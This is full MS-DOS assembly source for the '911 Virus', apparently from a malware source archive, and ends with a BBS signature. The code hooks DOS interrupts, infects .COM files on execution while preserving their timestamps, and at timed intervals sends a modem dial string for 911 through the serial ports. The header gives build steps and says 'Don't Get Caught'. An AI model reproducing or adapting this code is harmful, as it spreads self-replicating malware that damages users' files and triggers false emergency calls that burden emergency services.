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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.911.asm

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2021-01-12 23:29:01 +00:00
PAGE 59,132
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><> <20><>
;<3B><> 911 Virus <20><>
;<3B><> <20><>
;<3B><> This program is the 911 Virus. Use at your own risk. When the <20><>
;<3B><> manipulation task begins, it will dial 911 through your modem <20><>
;<3B><> and display "Support Your Police" on the screen. <20><>
;<3B><> <20><>
;<3B><> Assemble under Borland's Turbo Asm 2.x <20><>
;<3B><> Link - ignore no stack segment error <20><>
;<3B><> run EXE2BIN 911.EXE 911.COM <20><>
;<3B><> <20><>
;<3B><> And remember ... Don't Get Caught. <20><>
;<3B><> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
data_1e equ 0FE12h ;*
data_2e equ 437h ;*
data_3e equ 438h ;*
psp_envirn_seg equ 2Ch
psp_cmd_size equ 80h
psp_cmd_tail equ 81h
data_37e equ 541h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
v911 proc far
start:
jmp loc_40
v911 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; External Entry Point
;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int_21h_entry proc far
pushf ; Push flags
cmp ah,0E0h
jne loc_3 ; Jump if not equal
mov ax,0DADAh
popf ; Pop flags
iret ; Interrupt return
int_21h_entry endp
loc_3:
cmp ah,0E1h
jne loc_4 ; Jump if not equal
mov ax,cs
popf ; Pop flags
iret ; Interrupt return
loc_4:
cmp ax,4B00h
je loc_7 ; Jump if equal
loc_5:
popf ; Pop flags
jmp dword ptr cs:data_5
data_5 dd 29A138Dh
data_7 dd 70022Bh
data_9 db 0
data_10 db 8
data_11 db 10h
data_12 db 9
data_13 db 34h
data_14 dw 0
db 0
data_15 db 0
data_16 db 0
data_17 db 0
data_18 db 43h
db 4Fh, 4Dh
data_19 dw 5
data_20 dw 2
db 0, 0
data_21 dw 1301h
data_22 dw 12ACh
data_23 dw 0FFFEh
data_24 dw 9B70h
data_25 dw 3D5Bh
data_26 dw 20h
data_27 dw 0EC2h
data_28 dw 6E68h
db 00h, 00h, 81h, 00h
data_29 dw 12ACh
db 5Ch, 00h
data_30 dw 12ACh
db 6Ch, 00h
data_31 dw 12ACh
loc_7:
push ds
push bx
push si
push cx
push ax
push dx
push bp
push es
push di
cld ; Clear direction
push dx
push ds
xor cx,cx ; Zero register
mov si,dx
loc_8:
mov al,[si]
cmp al,0
je loc_9 ; Jump if equal
inc cx
inc si
jmp short loc_8
loc_9:
add dx,cx
sub dx,3
mov si,offset data_18
mov di,dx
cmp byte ptr [di-3],4Eh ; 'N'
jne loc_10 ; Jump if not equal
cmp byte ptr [di-2],44h ; 'D'
je loc_13 ; Jump if equal
loc_10:
mov cx,3
locloop_11:
mov al,cs:[si]
cmp al,[di]
jne loc_13 ; Jump if not equal
inc si
inc di
loop locloop_11 ; Loop if cx > 0
pop ds
pop dx
push dx
push ds
mov si,dx
mov dl,0
cmp byte ptr [si+1],3Ah ; ':'
jne loc_12 ; Jump if not equal
mov dl,[si]
and dl,0Fh
loc_12:
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get drive info, drive dl,1=a:
; returns ax=clust per sector
; bx=avail clust,cx=bytes/sect
; dx=clusters per drive
cmp ax,0FFFFh
je loc_13 ; Jump if equal
jmp short loc_15
db 90h
loc_13:
jmp loc_21
jmp loc_22
loc_14:
jmp loc_19
jmp loc_20
loc_15:
cmp bx,3
jb loc_13 ; Jump if below
pop ds
pop dx
push ds
push dx
mov cs:data_24,ds
mov cs:data_25,dx
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get attrb cx, filename @ds:dx
mov cs:data_26,cx
mov ax,4301h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov cs:data_21,ax
mov ax,cs
mov ds,ax
mov dx,data_37e
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
pop dx
pop ds
mov ax,3D02h
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_14 ; Jump if carry Set
mov bx,ax
mov cs:data_19,ax
mov cx,0FFFFh
mov ax,cs:data_21
mov ds,ax
mov dx,data_2e
mov ah,3Fh ; '?'
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
jc loc_14 ; Jump if carry Set
mov cs:data_20,ax
cmp ax,0E000h
ja loc_14 ; Jump if above
cmp ax,437h
jb loc_17 ; Jump if below
mov si,data_3e
add si,si
sub si,15h
mov cx,13h
mov di,offset data_35
locloop_16:
mov al,[si]
mov ah,cs:[di]
cmp ah,al
jne loc_17 ; Jump if not equal
inc si
inc di
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
db 90h
loc_17:
mov ax,4200h
mov bx,cs:data_19
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
jc loc_19 ; Jump if carry Set
mov si,100h
mov cx,437h
xor di,di ; Zero register
mov ax,cs:data_21
mov ds,ax
locloop_18:
mov al,cs:[si]
mov [di],al
inc si
inc di
loop locloop_18 ; Loop if cx > 0
mov ax,5700h
mov bx,cs:data_19
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
mov cs:data_28,cx
mov cs:data_27,dx
mov ax,cs:data_21
mov ds,ax
mov si,data_2e
mov al,[si]
add al,0Bh
mov [si],al
xor dx,dx ; Zero register
mov cx,cs:data_20
add cx,437h
mov bx,cs:data_19
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov cx,cs:data_28
mov dx,cs:data_27
mov bx,cs:data_19
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
loc_19:
mov bx,cs:data_19
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
loc_20:
mov dx,psp_cmd_size
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov ax,cs:data_21
mov es,ax
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov ax,cs:data_24
mov ds,ax
mov dx,cs:data_25
mov ax,4301h
mov cx,cs:data_26
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
jmp short loc_22
db 90h
loc_21:
pop ds
pop dx
jmp short loc_22
db 90h
loc_22:
pop di
pop es
pop bp
pop dx
pop ax
pop cx
pop si
pop bx
pop ds
jmp loc_5
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; External Entry Point
;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int_08h_entry proc far
push bp
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
pushf ; Push flags
call cs:data_7
call sub_1
push cs
pop ds
mov ah,5
mov ch,data_11
cmp ah,ch
ja loc_24 ; Jump if above
mov ah,6
cmp ah,ch
jb loc_24 ; Jump if below
mov ah,data_9
cmp ah,1
je loc_23 ; Jump if equal
mov ah,1
mov data_9,ah
jmp short loc_24
db 90h
loc_23:
call sub_2
inc data_14
mov ax,data_14
cmp ax,21Ch
jne loc_24 ; Jump if not equal
xor ax,ax ; Zero register
mov data_9,ah
mov data_14,ax
mov data_16,ah
loc_24:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pop bp
iret ; Interrupt return
int_08h_entry endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_1 proc near
push cs
pop ds
xor al,al ; Zero register
mov ah,data_10
cmp ah,11h
jne loc_28 ; Jump if not equal
mov ah,data_13
cmp ah,3Bh ; ';'
jne loc_29 ; Jump if not equal
mov ah,data_12
cmp ah,3Bh ; ';'
jne loc_30 ; Jump if not equal
mov ah,data_11
cmp ah,17h
jne loc_31 ; Jump if not equal
mov data_11,al
loc_25:
mov data_12,al
loc_26:
mov data_13,al
loc_27:
mov data_10,al
retn
loc_28:
inc data_10
retn
loc_29:
inc data_13
jmp short loc_27
loc_30:
inc data_12
jmp short loc_26
loc_31:
inc data_11
jmp short loc_25
sub_1 endp
data_32 db '+++aTh0m0s7=35dp911'
db 7 dup (2Ch)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_2 proc near
mov al,data_16
cmp al,1
je loc_ret_39 ; Jump if equal
mov al,data_17
cmp al,1
je loc_33 ; Jump if equal
mov cx,3
locloop_32:
mov dx,cx
xor ah,ah ; Zero register
mov al,83h
int 14h ; RS-232 dx=com4, ah=func 00h
; reset port, al=init parameter
loop locloop_32 ; Loop if cx > 0
mov al,1
mov data_17,al
jmp short loc_ret_39
db 90h
loc_33:
push cs
pop ds
mov si,offset data_32 ; ('+++aTh0m0s7=35dp911')
mov al,data_15
cmp al,1Ah
jne loc_36 ; Jump if not equal
jmp short loc_37
db 90h
loc_36:
xor ah,ah ; Zero register
add si,ax
mov al,[si]
mov dx,3F8h
out dx,al ; port 3F8h, RS232-1 xmit buffr
mov dx,2F8h
out dx,al ; port 2F8h, RS232-2 xmit buffr
mov dx,2E8h
out dx,al ; port 2E8h, 8514 Horiz total
mov dx,3E8h
out dx,al ; port 3E8h ??I/O Non-standard
inc data_15
jmp short loc_ret_39
db 90h
loc_37:
mov cx,3
locloop_38:
mov dx,cx
mov al,0Dh
mov ah,1
int 14h ; RS-232 dx=com4, ah=func 01h
; write char al, ah=retn status
loop locloop_38 ; Loop if cx > 0
mov ax,1
mov data_16,al
mov data_15,ah
mov data_17,ah
loc_ret_39:
retn
sub_2 endp
loc_40:
mov ah,0E0h
int 21h ; ??INT Non-standard interrupt
cmp ax,0DADAh
jne loc_41 ; Jump if not equal
jmp loc_44
loc_41:
push cs
pop ds
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr data_5,bx
mov word ptr data_5+2,es
mov dx,offset int_21h_entry
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3508h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr data_7,bx
mov word ptr data_7+2,es
mov dx,offset int_08h_entry
mov ax,2508h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dx=sec
mov data_11,ch
mov data_12,cl
mov data_13,dh
mov ax,cs:psp_envirn_seg
mov ds,ax
xor si,si ; Zero register
loc_42:
mov al,[si]
cmp al,1
je loc_43 ; Jump if equal
inc si
jmp short loc_42
loc_43:
inc si
inc si
mov dx,si
mov ax,cs
mov es,ax
mov bx,5Ah
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
mov bx,cs:psp_cmd_tail
mov ax,cs
mov es,ax
mov cs:data_30,ax
mov cs:data_31,ax
mov cs:data_29,ax
mov ax,4B00h
mov cs:data_22,ss
mov cs:data_23,sp
pushf ; Push flags
call cs:data_5
mov ax,cs:data_22
mov ss,ax
mov ax,cs:data_23
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,537h
int 27h ; Terminate & stay resident
; dx=offset last byte+1, cs=PSP
loc_44:
mov ah,0E1h
int 21h ; ??INT Non-standard interrupt
mov si,4F3h
mov cs:[si+3],ax
mov ax,4F8h
mov cs:[si+1],ax
mov ax,cs:data_20
mov bx,cs
;* jmp far ptr loc_1 ;*
db 0EAh, 00h, 00h, 00h, 00h
db 8Bh,0C8h, 8Eh,0DBh
db 0BEh, 00h, 01h
db 0BFh, 37h, 05h
locloop_45:
mov al,[di]
mov [si],al
inc si
inc di
loop locloop_45 ; Loop if cx > 0
mov si,51Fh
mov cs:[si+3],ds
mov al,byte ptr ds:[100h]
sub al,0Bh
mov byte ptr ds:[100h],al
mov ax,ds
mov es,ax
mov ss,ax
jmp far ptr start
data_35 db 'Support Your Police'
data_36 db 0D8h
db 20h
seg_a ends
end start
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; /|\ <20> <20>
; / | \ <20> Portland Metro All Text BBS <20>
; / | \ <20> <20>
; / | \ <20> 9600: 503-775-0374 <20>
; / | \ <20> SysOp: Thing One <20>
; / | \ <20> <20>
; / | \ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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